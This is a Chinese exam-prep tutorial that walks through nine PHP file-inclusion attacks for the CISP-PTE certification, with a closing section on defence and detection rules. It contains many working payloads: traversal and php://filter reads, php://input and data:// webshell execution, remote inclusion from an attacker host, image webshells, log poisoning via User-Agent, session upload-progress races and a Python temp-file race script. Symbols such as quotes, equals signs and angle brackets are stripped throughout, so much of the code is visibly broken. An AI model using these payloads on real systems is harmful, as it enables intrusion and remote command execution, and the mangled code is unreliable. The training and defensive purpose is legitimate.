
CISP-PTE考试里的文件包含题说它是送分题每年却有一大批人栽在它手里。2021年我带学员复盘这套题的时候最有意思的现象是大多数人卡在读文件这一步就以为结束了压根没意识到这里还藏着九种完全不同的渗透路径。本文就用一次标准的CISP-PTE文件包含实战复盘把这九种方法从原理到POC完整过一遍——从直接读文件到伪协议再到日志注入、Session竞争拿Shell最后落在考场环境下怎么判断该走哪条链。基础不扎实的读者可以顺手把文件包含原理补上有经验的老手也可以对照检查自己有没有漏掉冷门路径。1. CISP-PTE这道题的真实形态一段include两个得分点1.1 考题到底长什么样CISP-PTE的实操题给的不是一张白纸而是一个跑在你考试机里的Web应用常见形态就是一个新闻站、博客站或者后台管理模块。漏洞点藏得不算深URL里通常能看到?pageabout.php、?filenews.txt之类的参数紧接着源码里就是一句很典型的话?php $file $_GET[page]; include $file; ?有些题不会直接给源码需要先通过访问异常、报错回显或者JS注释去推断这里存在一个文件包含点。但不管是哪种形态考点本质都一样一个用户可控的路径被直接交给了文件包含函数。2021年前后的考试环境常见是Linux下的Apache或Nginx PHPPHP版本一般在5.5到7.x之间。这个版本跨度很关键因为部分利用手段在低版本上能打通在高版本上会被封掉后面讲具体方法时我会把版本差异单独拎出来说。1.2 两个得分点的判定逻辑这道题在CISP-PTE评分体系里我习惯把它拆成两个得分点第一档读文件成功拿到目标文件内容。比如读到/etc/passwd或者应用源码里的数据库账号密码能证明漏洞存在这部分分能到手。第二档拿到Shell也就是控制权。通过文件包含直接执行系统命令或者连接一句话木马这时候题目基本就满分了。这个区分决定了答题策略时间充裕就追求第二档时间紧张就先拿第一档保底。绝大多数人并不是不会打而是把顺序搞反了——一上来就折腾各种冷门trick最后连最基础的读文件分都没拿稳。1.3 为什么偏偏是文件包含这门考试选文件包含当常驻考点不是因为它难而是因为它变化多。PHP的文件包含机制天然和伪协议、上传、日志、Session这些模块绑定在一起一道题能延伸出九种打法考察的不只是会不会用工具而是对PHP底层机制的理解。它能从单纯读文件一路升级到完整getshell区分度非常好所以出题人特别喜欢。2. 靶场搭建与包含点确认环境变量、函数与参数缺一不可2.1 一套干净的练习环境实战复盘必须先有环境。我当时给学员准备的是一套本地LAMP靶场大约五年前的操作方式了2021年练习时我依然推荐自己搭因为考试机上装的东西不会太多自己搭能提前适应环境约束。我常用的组合是LinuxUbuntu 18.04或CentOS 7Apache 2.4 PHP 5.6 和 PHP 7.4 各一套因为PHP版本差异直接影响伪协议能不能用靶场源码直接用经典的pikachu或者自己写一个20行的小页面下面这个是最精简的包含点页面练习时直接在Web目录放一个lfi.php?php $file $_GET[file]; include $file; ?页面内容越简单越有利于观察到底是被WAF拦了、被PHP配置限制了还是过滤逻辑把参数改了一眼就能看出来。正经练习环境里我建议加一个phpinfo.php后面判断配置项全靠它。2.2 包含点可控性判断拿到一道题先别急着套POC先确认三个问题参数是直接被include还是被拼接了后缀如果代码写的是include $file . .php;那直接传/etc/passwd会因为多了个.php后缀而失败需要用到路径截断或者伪协议绕过。有没有过滤器有的题会过滤../、php://、http://这些关键词这时候选择方法就要优先考虑Base64编码、URL编码或者大小写混合。包含点是PHP解析的还是被当作纯文本加载这一点决定我们能不能在包含文件里写代码执行。基本的连通性测试我喜欢先用目录穿越打一发http://target/lfi.php?file../../../../etc/passwd如果页面里出现了root:x:0:0:说明包含逻辑完全可控后面的路子就很宽了。如果没出现也不代表没戏可能是路径计算问题下一小节讲怎么用php://filter绕过。2.3 先用phpinfo看点关键配置在开始爆破之前花30秒访问phpinfo.php看四个配置项配置项作用allow_url_include是否允许远程包含和输入流直接决定php://input、data://、RFI能不能用allow_url_fopen远程文件读取开关RFI的前提之一session.save_pathSession文件存放目录第5节的Session包含要用upload_tmp_dir临时文件目录第5节的临时文件竞争要用这个动作在CISP-PTE考试里特别提分。很多人上来直接传php://input发现没反应就是没提前看allow_url_includeOff。配置项不对再好的POC也是白搭。3. 读文件三连绝对路径、filter编码与日志旁路3.1 方法一绝对路径与目录穿越直接读这是最朴素的一条路所有人在学习文件包含时第一次都会打这个。它的原理特别简单include函数拿到用户给的字符串直接交给操作系统去打开文件。如果我们的输入能构造出一个真实存在的路径那文件内容就会被加载进页面。直接用绝对路径http://target/lfi.php?file/etc/passwd然后利用目录穿越把相对路径一层层抬高http://target/lfi.php?file../../../../etc/passwd为什么有时候四级../都不够因为include的工作目录不一定是Web根目录得根据页面所处层级去猜。我习惯的做法是从../../../../etc/passwd开始逐级减一往下试直到出来内容。如果题目在Nginx或者Apache下有open_basedir限制读/etc/passwd可能会被拒这时改用网站自己的源码文件http://target/lfi.php?file../../../../var/www/html/index.php如果源码会直接以HTML解析导致内容被打散可以右键查看源代码或者拿浏览器里的文本查看器看原始响应。这里的坑是后缀拼接。有的题代码是include $_GET[file] . .php;直接传/etc/passwd会变成/etc/passwd.php文件不存在。低版本PHP 5.3之前可以用%00截断把后面的.php吃掉。但2021年的考试环境一般PHP都在5.5以上空字符截断早就失效了。这时候要换思路传一个留空目录的路径比如php://filter或者../../../../etc/passwd%00已经不灵更稳妥的是直接把要读的文件命名为xxx.php或者从源码里找一个以.php结尾的目标去读。3.2 方法二php://filter编码读源码这是CISP-PTE文件包含题里性价比最高的一招既能绕后缀拼接又能绕一些基础过滤还能直接把源码原样读出来。原理是PHP伪协议可以给文件流套一层过滤器convert.base64-encode会把文件内容编码后再输出。因为最终输出内容变成了Base64字符串不会触发PHP解析所以能安全读到index.php这种原本会被执行的源码文件。http://target/lfi.php?filephp://filter/convert.base64-encode/resourceindex.php如果目标是别的目录路径也要跟着调http://target/lfi.php?filephp://filter/readconvert.base64-encode/resource../../../../var/www/html/admin/login.php拿到一串Base64找个解密工具还原就是源码。这招有几个变体值得记住大小写绕过有些过滤规则只认小写的php://但PHP的伪协议大小写不敏感PHP://FILTER/convert.base64-encode/resourceindex.php也能跑。换过滤器除了convert.base64-encode还可以用convert.base64-decode、convert.iconv.*有些环境下string.rot13也在可用列表里。配合后缀拼接代码强制加了.php时用php://filter/convert.base64-encode/resourceindex后面的.php被拼接后刚好读回index.php。这个技巧在实战里非常管用。读取源码之后数据库账号、API密钥、隐藏接口全都能拿到这道题的读文件档基本就满分了。3.3 日志文件的旁路读取这个读的路径比较绕但和后面第5节的日志注入是配套的。在没有上传点、没有任何源码可利用时Web服务自己产生的日志文件也是一个宝藏入口。路径通常是/var/log/apache2/access.log /var/log/nginx/access.log /var/log/httpd/access_log用方法一或者方法二直接包含日志文件虽然日志内容大多是明文文本但它会被当作PHP源码的一部分去解析。如果日志里没有任何?php标签包含后只会原样输出没有副作用可一旦某条请求的User-Agent等字段里藏着PHP代码这个日志注入就打响了。备考时我一般会先把日志路径统统试一遍哪怕还没开始注入也要确认哪条路径可以被包含、权限有没有限制。这相当于给后面的日志马方法探路。小提醒Nginx的access.log默认记录User-Agent原始字符串Apache默认也是所以日志注入在天然环境是可行的。但有些发行版给日志加了专门处理比如对特殊字符做了转义直接包含会看到一串编码后的内容执行不了这时候可以换Referer字段或者换一个不转义的日志。4. 直接执行类打法php://input、data://与远程包含的适用边界4.1 方法三php://input配合POST直接执行命令这套打法在初学者眼里是最魔法的page参数传php://input系统会读取POST请求体作为输入include再去包含它于是POST里写的PHP代码就可以被执行。前提条件是allow_url_includeOn这一点必须靠phpinfo确认。利用方式curl -X POST http://target/lfi.php?filephp://input -d ?php system($_GET[c]); ?然后访问http://target/lfi.php?filephp://inputcid这里的小细节是命令执行函数的选择。system会直接输出结果方便exec只输出最后一行容易漏内容passthru适合执行原样输出。考场里我喜欢用system($_GET[c])一步到位。如果遇到过滤比如把?php这种标签给杀掉了可以尝试用大写?PHPPHP对标签大小写不敏感用短标签?配合echo但短标签可能被关闭把代码编码成纯ASCII字符拼出来比如用多个字符串拼接绕过关键字检查。4.2 方法四data://伪协议执行代码data://和php://input干的是同一件事——把一段外部数据当作文件内容去包含区别是数据直接塞在URL里不需要另发POST请求。前提同样是allow_url_includeOn。利用形式http://target/lfi.php?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdbSk7Pz4那串Base64解码后的内容是?php system($_GET[c]); ?所以这里的好处挺明显URL里全是Base64字符不包含?php这种敏感特征能绕过一部分WAF和过滤规则。实际测试的时候要注意URL里的;、,等字符在某些浏览器和中间件环境会被特殊处理建议把整段参数URL编码后再提交。另外data://对PHP版本有要求PHP 5.6和7.x都能用但我没有在老掉牙的PHP 5.2上试成功过老环境优先走php://input。4.3 方法五远程文件包含RFI的传统姿势远程文件包含是文件包含漏洞最暴力的玩法include函数直接把外网的PHP脚本拉进来执行。前提是allow_url_includeOn且allow_url_fopenOn。在授权靶场的练习环境里可以自己在本地同一靶场起一个HTTP服务放一个恶意文件http://attacker/shell.txt然后请求http://target/lfi.php?filehttp://attacker/shell.txt文件内容?php system($_GET[c]); ?靶机加载远程脚本后直接在页面里执行命令。这里就不需要关心本地有没有上传点、日志能不能污染只要出去的流量能访问到攻击机漏洞就成立了。RFI在CISP-PTE里要是能直接用通常是最省时间的。因为链路短构造文件、带上参数、出结果。但它也是最容易被封的一条路很多靶机为了安全默认关掉allow_url_include一旦phpinfo里显示Off立刻放弃RFI和伪协议代码执行类打法转头走第5节的借壳路线。4.4 直接执行类打法的边界直接执行类有三个共同前提allow_url_includeOn、PHP能访问外埠或输入流、过滤规则没有把伪协议标签杀死。记住一条判断链如果目标把allow_url_include设成了Offphp://input、data://、RFI全部失效不用浪费时间如果只是单纯过滤了http://RFI失效但数据更隐蔽的data://可能还在如果php://全被封了还能用大小写、双写编码去碰运气等于最后再试一发不行就撤。5. 借壳生蛋的四条路径图片马、日志马、Session与临时文件竞争5.1 方法六图片马与上传功能联动这是文件包含最容易想到的组合拳先通过文件上传弄一个藏了PHP代码的图片进服务器再用文件包含去加载它图片里的PHP代码就被解析执行了。图片马最简单的制作方法echo GIF89a shell.gif echo ?php eval($_POST[x]); ? shell.gif也可以写一行命令printf GIF89a?php eval($_POST[x]); ? shell.gif上传功能如果只检查了扩展名或者文件头这个GIF马就能落地。之后访问http://target/lfi.php?fileupload/shell.gif再用蚁剑或者直接POST连接。这里要留个心眼PHP 7版本下eval和assert的行为跟PHP 5不一样eval仍然是语言结构杀伤力还在但有些题把危险函数禁用列表设得比较严建议马子里直接写system($_GET[c])让命令执行更可控。考场里我通常先找上传点再决定用不用这招原因是上传带壳的图片马本身就是个高风险动作文件落地位置、命名规则、过滤器都会影响成功率。一旦上传目录不可预测这个方法就变成盲猜路径时间成本很高。5.2 方法七日志注入让访问记录变成你的Shell这个思路是把Web服务器的访问日志当作写入通道。我们发请求的时候User-Agent、Referer这些字段会被原样记录到日志里如果我们把这些字段的值写成PHP代码再通过文件包含把日志文件加载进来代码就执行了。第一步用curl或者Burp发一个带毒UA的请求curl -A ?php system($_GET[c]); ? http://target/index.php?pagenotexist日志里就会记录一行192.168.1.2 - - [01/Jan/2021:12:00:00 0800] GET /index.php?pagenotexist HTTP/1.1 200 123 http://target/ ?php system($_GET[c]); ?第二步包含日志文件http://target/lfi.php?file/var/log/apache2/access.logcid如果日志能被正常包含id的结果就出来了。这个方法的坑是日志路径猜不到。不同发行版、不同Web服务器路径差异很大如果题里不提示只能用常见的几个路径去试。日志文件过大。访问量大的系统日志几兆几十兆PHP包含一个超大文件容易超时或者内存爆掉这时候可以尝试包含error.log或者选其他注入点。转义问题。前面在3.3里说过了部分日志组件会把特殊字符转义UA里的变成\x3c之类执行失败。换Referer字段试或者观察一下日志原始内容再决定。日志注入的最大价值是在没有上传点的环境里它给了你一个自己制造文件内容的能力。只要包含点是通的这个能力就能转化成执行能力。5.3 方法八session.upload_progress利用Session文件实现RCE这个方法在2021年的考试复盘里越来越常见因为它不需要上传点、不需要日志权限只需要PHP开启了session.upload_progress功能而PHP官方是默认开启的。原理先说清楚当你在一个启用Session的应用里提交一个带文件上传字段的POST请求PHP会检测到表单里有PHP_SESSION_UPLOAD_PROGRESS字段然后把它的值写入到当前Session的临时文件里文件名一般是sess_session_id。写入完成前这个临时文件是可控的——我们可以把它的内容写成PHP代码。利用步骤自己指定一个Session ID比如sid123请求时带上CookieCookie: PHPSESSIDsid123发送multipart/form-data格式的POST请求表单字段里塞PHP代码POST /index.php?file/tmp/sess_sid123 HTTP/1.1 Cookie: PHPSESSIDsid123 ------WebKitFormBoundary Content-Disposition: form-data; namePHP_SESSION_UPLOAD_PROGRESS ?php system($_GET[c]); ? ------WebKitFormBoundary Content-Disposition: form-data; namefile; filenamex.jpg Content-Type: image/jpeg test ------WebKitFormBoundary--在请求还在处理的时候另外一个请求去包含http://target/lfi.php?file/tmp/sess_sid123cid这里的关键是时机Session文件在请求结束后不一定会立刻删除但存在一个生命周期所以要快速、反复地打。考场上我习惯写一个循环脚本同一个请求发几十遍确保至少一次能命中包含窗口。Session文件的保存路径不一定在/tmp具体看phpinfo里的session.save_path可能是/var/lib/php/sessions这种。路径错一个字母整个方法就白费。5.4 方法九phpinfo辅助的临时文件竞争最后这个方法比较硬核但它在CISP-PTE里一旦能用往往是一击定音。原理是PHP处理文件上传时会先在临时目录生成一个phpXXXXXX临时文件请求结束后立刻删除。如果能在它存在的极短时间内触发文件包含、把路径指到那个临时文件上我们上传的请求体内容就会被当作PHP代码执行。问题在于临时文件名是随机的不知道具体叫什么。解决办法是让服务端自己泄露出来。经典操作是上传一个文件到有phpinfo的页面在phpinfo的输出里有一行$_FILES[file][tmp_name]直接打印出带随机数的临时文件名。然后立刻用这个路径去触发包含竞争的是临时文件还没被删掉的时间窗口。实操时手动点鼠标基本来不及得用脚本。核心逻辑大致这样import requests url_lfi http://target/lfi.php?file url_phpinfo http://target/phpinfo.php while True: # 上传文件内容为PHP代码 files {file: (x.jpg, b?php system($_GET[c]); ?, image/jpeg)} r requests.post(url_phpinfo, filesfiles) # 从phpinfo响应中提取临时文件路径 start r.text.find(/tmp/php) end r.text.find(\n, start) tmp_name r.text[start:end] if tmp_name: # 立刻包含 r2 requests.get(url_lfi tmp_name cid) if uid in r2.text: print(r2.text) break因为临时文件存在时间极短脚本需要循环发成百上千次成功率取决于本地到目标机器的网络延迟和PHP处理速度。本地靶场轻松命中远程考试机有时候要跑几分钟。这个方法对环境的要求是能访问到phpinfo页面或某个能显示临时文件路径的接口。如果题目没有phpinfo也可以盲猜文件名但那是另一套爆破玩法不推荐考场上用。6. 九种方法对照表先决条件、耗时分值与踩坑点这一节算是九种方法的速查表考场上时间紧的时候直接翻这一段决定下一步。方法核心原理关键前提典型用时常见翻车点1. 绝对路径/目录穿越直接读include按路径打开文件无过滤、无后缀拼接1分钟目录层级不够、open_basedir限制2. php://filter编码读源码伪协议流过滤器输出编码内容PHP支持伪协议1分钟过滤了php://、resource路径错误3. php://input执行代码包含POST请求体allow_url_includeOn2分钟标签被过滤、配置是Off4. data://执行代码将URL内base64数据当文件包含allow_url_includeOn2分钟URL特殊字符未编码5. 远程文件包含RFI包含远程HTTP脚本allow_url_includefopenOn3分钟出网被限制、域名被过滤6. 图片马上传图片文件藏代码再包含有上传点且不严检内容5分钟上传目录不可预测、后缀被改7. 日志注入写PHP代码到日志再包含知道日志路径5分钟日志转义、体积太大8. session.upload_progressSession文件写入代码再包含未禁用upload_progress5分钟路径不对、窗口错过9. 临时文件竞争包含瞬时存在的php临时文件有phpinfo泄露路径10分钟网络延迟、脚本不够快看完这张表我建议你在自己靶场上把九种方法全跑一遍然后做一个自己的优先级排列。CISP-PTE考场上并不是九种都要试一遍多数情况前面三种就能出分后面几种是给前面全被堵死的备选。7. 考场答题顺序与查证技巧如何稳拿flag又不污染环境7.1 先执行哪条链按决策顺序来我把考场里的决策顺序总结成一个四步链按这个顺序走能避开大多数无效操作先看源码和参数形态确定是include还是require有没有后缀拼接有没有过滤规则这决定了后面用方法几。再查phpinfo关键配置确认allow_url_include、session.save_path、upload_tmp_dir三个值。配置明明不支持还去试伪协议等于在考场上浪费生命。先跑读文件的低成本探测/etc/passwd和php://filter各打一发确认包含点通不通。再根据环境选择执行链有上传点就试图片马没有上传点且看到session配置正常试日志注入和Session包含有phpinfo才考虑临时文件竞争。这个顺序的核心思路是每一发POC都要有目的先低成本探测再高成本进攻。7.2 截图与留证规范CISP-PTE考试要求提交解题过程通常需要把关键步骤的截图放进答题区。我的经验是每成功一步就立刻截一张带关键信息的图确认包含点可用的截图比如页面出现/etc/passwd内容执行命令成功的截图页面出现uid...或者flag内容如果有连接蚁剑或者其它客户端截连接成功和文件浏览的界面截图的时候尽量保留地址栏和当前响应内容别截无关区域。有些系统要求证明是你打的得让时间、IP、命令三者对得上所以我习惯每发一个请求前先把Burp或者终端窗口调好保证日志特征完整。7.3 避免在考场里翻车几个血泪教训不要随意删文件。有些同学打临时文件竞争的时候写删除脚本直接把考试机的临时目录清理了结果后面步骤全乱套。竞争脚本只做包含探测不做删除操作。不要把命令执行函数和输出错位。用system输出多行命令时页面会被分割成不同区块有的命令结果被浏览器标签吞掉建议加echo ---;分隔。URL编码别省。文件名里有中文、空格、特殊符号时浏览器会帮忙自动编码但手动构造请求时很容易漏。尤其data://里的分号不编码经常被后端解析成参数分隔符。500错误不代表死了。很多时候只是包含的文件路径错了可以打开php的display_errors或者尝试从错误信息里挖路径。如果题里允许访问错误日志直接看error.log更快。7.4 时间分配CISP-PTE的实操题时间整体紧张我通常给文件包含这道题预留30到40分钟。前10分钟完成环境判断和读文件探测中间15分钟集中打执行链最后5分钟整理截图提交。如果30分钟都没打穿就回到最基础的方法一和方法二把能读到的文件全部读一遍把第一档的分拿满。8. 给后来者的一份防御清单以及我的私人习惯8.1 代码层防御从开发视角看文件包含漏洞的根子是用户输入进了文件路径。最稳妥的修法就是白名单?php $allowed [home.php, about.php, contact.php]; $page $_GET[page] ?? home.php; if (!in_array($page, $allowed)) { die(非法请求); } include $page; ?如果业务上没法用白名单至少要做到用realpath()把路径规范化后检查是否落在允许目录内禁止../出现在路径中对参数里的伪协议关键字做拒绝列表php://、data://、http://、https://、file://控制后缀拼接逻辑避免直接拼.php造成路径可控。8.2 配置层防御服务器配置上下面几项是必修课allow_url_include Off这是最关键的开关关掉后伪协议代码执行类的路基本堵死open_basedir限制PHP可读写的目录范围能让/etc/passwd这类路径直接读不了上传目录放在Web根目录之外通过内部路由去访问或者给上传目录关闭PHP解析日志文件不要放在Web根目录下/var/log默认就在Web可访问范围之外别改到可下载的位置。8.3 检测层防御作为防守方看日志和流量特征也能抓到攻击访问日志里出现php://filter、data://、php://input基本可以断定有人在打文件包含传参里出现大量../或者重复编码的..%2f..%2f是目录穿越探测的特征User-Agent或者Referer字段出现?php、eval、system(是日志注入的典型信号文件名或路径参数里出现Base64长字符串很可能是data://或 filter 编码攻击。这些规则如果喂给WAF或者SIEM能在攻击早期就把请求拦下来。我在给团队做复盘时通常会把第3节到第5节的每一种方法对应一条检测规则形成一份一个漏洞、九种打法、九条告警的对照表这样下次再有类似攻击根本不需要人工排查。8.4 我自己的一点私房习惯带学员做文件包含复盘这么多年我自己的习惯是每学一种新打法不急着往工具里加而是先在纸上写清楚这个打法要什么前提、绕过什么限制、适合什么场景。九种方法不是背下来的是打靶场打出来的。我建议你也在自己电脑上搭一个和考试环境一致的靶场把九种方法全部跑通再挑两三种手法练到肌肉记忆。考场上真正拼的不是谁会的多而是谁在最短时间内选对了路。文件包含这道题只要把读文件、执行命令、借壳写入这三条主线想清楚CISP-PTE这几分基本就稳稳落袋了。